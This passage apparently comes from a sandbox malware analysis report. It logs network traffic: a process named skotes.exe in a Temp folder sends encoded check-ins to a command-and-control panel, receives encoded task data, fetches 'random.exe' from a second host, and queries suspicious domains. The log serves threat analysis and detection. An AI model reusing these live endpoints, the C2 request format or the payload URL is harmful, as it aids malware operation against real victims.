Nov 21, 2024 03:09:24.009336948 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.009368896 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.009438038 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.010315895 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.010387897 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.010421038 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.011368036 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.011413097 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.011451960 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.012408018 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.012454033 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.012497902 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.013482094 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.013525009 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.013565063 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.013607025 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.014517069 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.014637947 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.014669895 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.014687061 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.015552998 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.015603065 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.015665054 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.015707970 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.016554117 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:24.016598940 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:24.052207947 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.052264929 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.052335024 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.052670956 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.052725077 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.052831888 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.053486109 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.053535938 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.053589106 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.054389954 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.054505110 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.054549932 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.055306911 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.055417061 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.056222916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.056289911 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.056556940 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.056596994 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.057111025 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.057229996 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.057729959 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.058049917 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.058140993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.058939934 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.058980942 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.059024096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.059066057 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.059885979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.060029984 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.060128927 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.060760021 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.060872078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:24.060914993 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:24.061676025 CET	80	49841	34.116.198.130	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 03:09:19.397317886 CET	192.168.2.5	1.1.1.1	0xa61e	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:19.397413015 CET	192.168.2.5	1.1.1.1	0xf9e7	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 03:09:36.468614101 CET	192.168.2.5	1.1.1.1	0x5d69	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:55.037702084 CET	192.168.2.5	1.1.1.1	0x4fce	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:55.037818909 CET	192.168.2.5	1.1.1.1	0x259e	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 03:09:58.469564915 CET	192.168.2.5	1.1.1.1	0xfd68	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:58.469707012 CET	192.168.2.5	1.1.1.1	0xfbb4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 03:09:59.836827993 CET	192.168.2.5	1.1.1.1	0xaff2	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:59.836921930 CET	192.168.2.5	1.1.1.1	0x5192	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 03:10:03.986192942 CET	192.168.2.5	1.1.1.1	0xce78	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:04.253362894 CET	192.168.2.5	1.1.1.1	0x994	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 03:10:05.133182049 CET	192.168.2.5	1.1.1.1	0xa4c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:05.133320093 CET	192.168.2.5	1.1.1.1	0x8244	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 21, 2024 03:10:05.673499107 CET	192.168.2.5	1.1.1.1	0x9986	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:05.673641920 CET	192.168.2.5	1.1.1.1	0xf51a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 21, 2024 03:10:07.177704096 CET	192.168.2.5	1.1.1.1	0x3aa1	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.177975893 CET	192.168.2.5	1.1.1.1	0x5f1f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.440244913 CET	192.168.2.5	1.1.1.1	0x6a3a	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.441302061 CET	192.168.2.5	1.1.1.1	0xd9ec	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.785542011 CET	192.168.2.5	1.1.1.1	0x1c9f	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 21, 2024 03:10:07.786916971 CET	192.168.2.5	1.1.1.1	0x6ffb	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 03:10:09.081521988 CET	192.168.2.5	1.1.1.1	0xacc2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:09.312639952 CET	192.168.2.5	1.1.1.1	0x694c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:09.579144955 CET	192.168.2.5	1.1.1.1	0xdd77	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 03:10:11.373847961 CET	192.168.2.5	1.1.1.1	0xa7d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:11.374646902 CET	192.168.2.5	1.1.1.1	0x27ac	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:14.116218090 CET	192.168.2.5	1.1.1.1	0x818c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:14.116468906 CET	192.168.2.5	1.1.1.1	0x1aea	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 21, 2024 03:10:29.983097076 CET	192.168.2.5	1.1.1.1	0x7f5a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:29.983097076 CET	192.168.2.5	1.1.1.1	0x3db2	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 03:10:30.886323929 CET	192.168.2.5	1.1.1.1	0x48a4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 21, 2024 03:10:32.021855116 CET	192.168.2.5	1.1.1.1	0x5e63	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 03:10:32.373749018 CET	192.168.2.5	1.1.1.1	0x9977	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 03:10:33.506292105 CET	192.168.2.5	1.1.1.1	0xba6f	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:33.508688927 CET	192.168.2.5	1.1.1.1	0xf90a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:40.842994928 CET	192.168.2.5	1.1.1.1	0x6f2b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:40.843115091 CET	192.168.2.5	1.1.1.1	0x8e20	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 03:10:42.906704903 CET	192.168.2.5	1.1.1.1	0x36f	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:42.906827927 CET	192.168.2.5	1.1.1.1	0x31cd	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 21, 2024 03:10:59.637523890 CET	192.168.2.5	1.1.1.1	0x27b9	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 21, 2024 03:11:00.048155069 CET	192.168.2.5	1.1.1.1	0xa17e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:00.078104019 CET	192.168.2.5	1.1.1.1	0xb75c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 21, 2024 03:11:20.073766947 CET	192.168.2.5	1.1.1.1	0x9375	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:41.531964064 CET	192.168.2.5	1.1.1.1	0xe8e0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:53.078552008 CET	192.168.2.5	1.1.1.1	0x431	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:13:46.003998995 CET	192.168.2.5	1.1.1.1	0xfba2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:16:02.364262104 CET	192.168.2.5	1.1.1.1	0x7c9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:16:27.898998976 CET	192.168.2.5	1.1.1.1	0xe67f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 03:09:19.896348000 CET	1.1.1.1	192.168.2.5	0xa61e	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:36.730278969 CET	1.1.1.1	192.168.2.5	0x5d69	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:36.730278969 CET	1.1.1.1	192.168.2.5	0x5d69	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:55.735142946 CET	1.1.1.1	192.168.2.5	0x4fce	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:58.697083950 CET	1.1.1.1	192.168.2.5	0xfd68	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:09:58.697614908 CET	1.1.1.1	192.168.2.5	0xfbb4	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 03:10:00.223063946 CET	1.1.1.1	192.168.2.5	0xaff2	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:03.983756065 CET	1.1.1.1	192.168.2.5	0x4d9e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:04.214385986 CET	1.1.1.1	192.168.2.5	0xce78	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:05.360948086 CET	1.1.1.1	192.168.2.5	0xa4c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:05.360948086 CET	1.1.1.1	192.168.2.5	0xa4c	No error (0)	plus.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:05.361166954 CET	1.1.1.1	192.168.2.5	0x8244	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:05.901221037 CET	1.1.1.1	192.168.2.5	0x9986	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.405419111 CET	1.1.1.1	192.168.2.5	0x3aa1	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.405482054 CET	1.1.1.1	192.168.2.5	0x5f1f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:07.405482054 CET	1.1.1.1	192.168.2.5	0x5f1f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.667850018 CET	1.1.1.1	192.168.2.5	0x6a3a	No error (0)	youtube.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:07.668821096 CET	1.1.1.1	192.168.2.5	0xd9ec	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:08.013192892 CET	1.1.1.1	192.168.2.5	0x1c9f	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 21, 2024 03:10:08.014542103 CET	1.1.1.1	192.168.2.5	0x6ffb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 21, 2024 03:10:09.309376955 CET	1.1.1.1	192.168.2.5	0xacc2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:09.540297985 CET	1.1.1.1	192.168.2.5	0x694c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:11.602102041 CET	1.1.1.1	192.168.2.5	0x27ac	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:14.344242096 CET	1.1.1.1	192.168.2.5	0x818c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:14.344877005 CET	1.1.1.1	192.168.2.5	0x1aea	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:14.349984884 CET	1.1.1.1	192.168.2.5	0x389f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:14.349984884 CET	1.1.1.1	192.168.2.5	0x389f	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:14.389848948 CET	1.1.1.1	192.168.2.5	0x1549	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:30.860543966 CET	1.1.1.1	192.168.2.5	0x7f5a	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:33.733947039 CET	1.1.1.1	192.168.2.5	0xba6f	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:33.736424923 CET	1.1.1.1	192.168.2.5	0xf90a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:33.736424923 CET	1.1.1.1	192.168.2.5	0xf90a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:41.071886063 CET	1.1.1.1	192.168.2.5	0x8e20	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 03:10:41.071958065 CET	1.1.1.1	192.168.2.5	0x6f2b	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134694099 CET	1.1.1.1	192.168.2.5	0x36f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134694099 CET	1.1.1.1	192.168.2.5	0x36f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134694099 CET	1.1.1.1	192.168.2.5	0x36f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134694099 CET	1.1.1.1	192.168.2.5	0x36f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134710073 CET	1.1.1.1	192.168.2.5	0x31cd	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.134710073 CET	1.1.1.1	192.168.2.5	0x31cd	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.165275097 CET	1.1.1.1	192.168.2.5	0x7437	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.181555986 CET	1.1.1.1	192.168.2.5	0x5be9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.181555986 CET	1.1.1.1	192.168.2.5	0x5be9	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:10:43.181555986 CET	1.1.1.1	192.168.2.5	0x5be9	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:00.278361082 CET	1.1.1.1	192.168.2.5	0xa17e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:11:00.278361082 CET	1.1.1.1	192.168.2.5	0xa17e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:20.301471949 CET	1.1.1.1	192.168.2.5	0x9375	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:11:20.301471949 CET	1.1.1.1	192.168.2.5	0x9375	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:41.759632111 CET	1.1.1.1	192.168.2.5	0xe8e0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:11:41.759632111 CET	1.1.1.1	192.168.2.5	0xe8e0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:11:53.306159973 CET	1.1.1.1	192.168.2.5	0x431	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:11:53.306159973 CET	1.1.1.1	192.168.2.5	0x431	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:13:46.231769085 CET	1.1.1.1	192.168.2.5	0xfba2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:13:46.231769085 CET	1.1.1.1	192.168.2.5	0xfba2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:16:02.591824055 CET	1.1.1.1	192.168.2.5	0x7c9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:16:02.591824055 CET	1.1.1.1	192.168.2.5	0x7c9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 21, 2024 03:16:28.128942966 CET	1.1.1.1	192.168.2.5	0xe67f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 03:16:28.128942966 CET	1.1.1.1	192.168.2.5	0xe67f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49801	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:04.485786915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:09:05.886358023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49808	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:07.516727924 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:09:08.873096943 CET	732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 64 0d 0a 20 3c 63 3e 31 30 30 37 38 31 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 38 32 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 66 34 37 62 35 63 62 34 66 36 36 32 32 34 31 37 65 62 33 30 34 61 33 39 37 63 39 65 38 64 38 66 62 62 38 63 37 36 36 61 31 34 39 34 39 62 32 35 35 61 61 34 39 35 63 34 39 23 31 30 30 37 38 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 38 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 [TRUNCATED] Data Ascii: 21d <c>1007819001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007820001+++b5937c1a99d5f9dd0f47b5cb4f6622417eb304a397c9e8d8fbb8c766a14949b255aa495c49#1007821001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007822001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007823001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007824001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49814	31.41.244.11	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:08.997102022 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
